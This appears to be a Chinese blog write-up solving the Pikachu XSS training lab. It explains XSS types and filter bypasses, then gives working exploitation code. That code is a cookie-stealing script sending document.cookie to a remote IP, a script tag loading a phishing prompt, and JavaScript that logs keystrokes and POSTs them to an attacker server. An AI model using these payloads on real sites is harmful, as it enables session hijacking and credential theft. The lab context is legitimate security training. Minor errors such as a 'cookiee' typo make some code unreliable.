文章目录
XSS概括
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者向web页面插入恶意script代码,当用户浏览网页时,嵌入其中的恶意代码会被执行从而达到攻击的目的。
XSS分类
- 反射型XSS:反射型XSS也叫非持久性XSS,用户访问一个带有XSS的html请求,服务器接收数据后处理,然后把带有XSS的数据返回,浏览器解析后执行XSS内容,这个过程就像一次反射。
- 持久型XSS:存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本漏洞,当攻击者提交一段 XSS代码后,被服务端接收并存储,当攻击者或用户再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这是存储型XSS。
- DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。
pikachu题解
反射型XSS(get)
GET方式提交的XSS漏洞更加容易被利用,一般利用方式时直接将带有XSS的URL发送给目标。
F12 修改输入长度限制后
<script>alert(1)</script>
反射型XSS(post)
抓包发现消息被url转义发送
构造闭合:
</p><script>alert(1)</script>
储存型XSS
留言板里输入
<script>alert(1)</script>
DOM型xss
通过dom获得输入后写入id=dom中。
' onclick=alert(1)>
构成 <a href='' onclick=alert(1) >
DOM型xss-x
构造a标签闭合
'onclick=alert(1)>
其他payload
'><img src='#' onmouseover=alert(1)>
xss盲打
<script>alert(1)</script>
payload不会在当前页面执行,管理员查看时会执行。
xss过滤
- script关键字会被过滤
<script>alert(1)</script>
- 尝试双写绕过
<scri<script>pt>alert(1)</scri</script>pt>
同样被过滤
- 尝试大小写绕过
<ScRIPt>alert(1)</SCRipt>
注入成功
- script被过滤可以考虑其他类型的payload
<img src='#' onmouseover="alert(1)">
xss之htmlspecialchars
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
字符 | 转义 |
---|---|
” | " |
& | & |
> | < |
< | > |
<>!:;scriptAAA
查看源码
发现<>被html转义
javascript:alert(1)
成功
xss之href输出
输入 ><script>alert(1)</script>
<>被转义尝试javascript伪协议
javascript:alert(1)
成功
xss之js输出
查看源码发现输入在js代码块中
构造js闭合
'</script> <script>alert(1)</script>
XSS漏洞利用
cookie的盗取和利用
GET
js恶意脚本
<script>document.location = 'http://113.54.243.174/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookiee;</script>
用户发送给服务器时就会记录下cookie并发送至XSS后台
XSS后台
若是get请求方式,用户只要点击带有脚本参数的url就会自动发送cookie。
http://127.0.0.1/pikachu-master/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%20%3D%20’http%3A%2F%2F113.54.243.174%2Fpikachu-master%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D’%20%2B%20document.cookiee%3B%3C%2Fscript%3E&submit=submit
POST
参数在请求体中发送,无法把恶意代码嵌入到url中发送给用户。
攻击思路:
攻击者构建一个新的页面,页面功能为向存在XSS(post)漏洞的网页提交一个post请求,用户打开伪造的页面后恶意脚本获得用户cookie并向后台发送。
伪造界面代码:
用户访问后
钓鱼攻击
向有XSS漏洞的网页注入恶意代码,用户每次访问页面时就会弹出一个认证框,输入的内容储存在攻击者的服务器上。
恶意代码:
<script src="http://192.168.80.1/pikachu-master/pkxss/xfish/fish.php"></script>
XSS获取键盘记录
同源策略:为了安全考虑,所有浏览器都规定了同源策略,两个不同域名之间不能用js相互操作。x.com域名下的javascript不能操作y.com下的对象。如果想要跨域操作必须由管理员配置。( header(“Acess-Control-Allow-Origin:x.com”) )
以下标签加载特定类型资源不受同源策略影响
<script src = "...">
<img src = "...">
<link href= "...">
<iframe src= "...">
<script src="http://192.168.1.15/pikachu-master/pkxss/rkeypress/rk.js"></script>
可以将192.168.1.15加载到本地运行
一般情况下插入这段代码后由于同源策略会请求失败,但攻击者可以将自己搭建的攻击地址设置为允许所有人跨域请求
恶意js代码记录用户键盘输入
function onkeypress() {
var realkey = String.fromCharCode(event.keyCode);
xl+=realkey;
show();
}
document.onkeypress = onkeypress;
function show() {
ajax = createAjax();
ajax.onreadystatechange = function () {
if (ajax.readyState == 4) {
if (ajax.status == 200) {
var data = ajax.responseText;
} else {
alert("页面请求失败");
}
}
}
var postdate = xl;
ajax.open("POST", "http://192.168.1.15/pkxss/rkeypress/rkserver.php",true);
ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
ajax.setRequestHeader("Content-length", postdate.length);
ajax.setRequestHeader("Connection", "close");
ajax.send(postdate);
}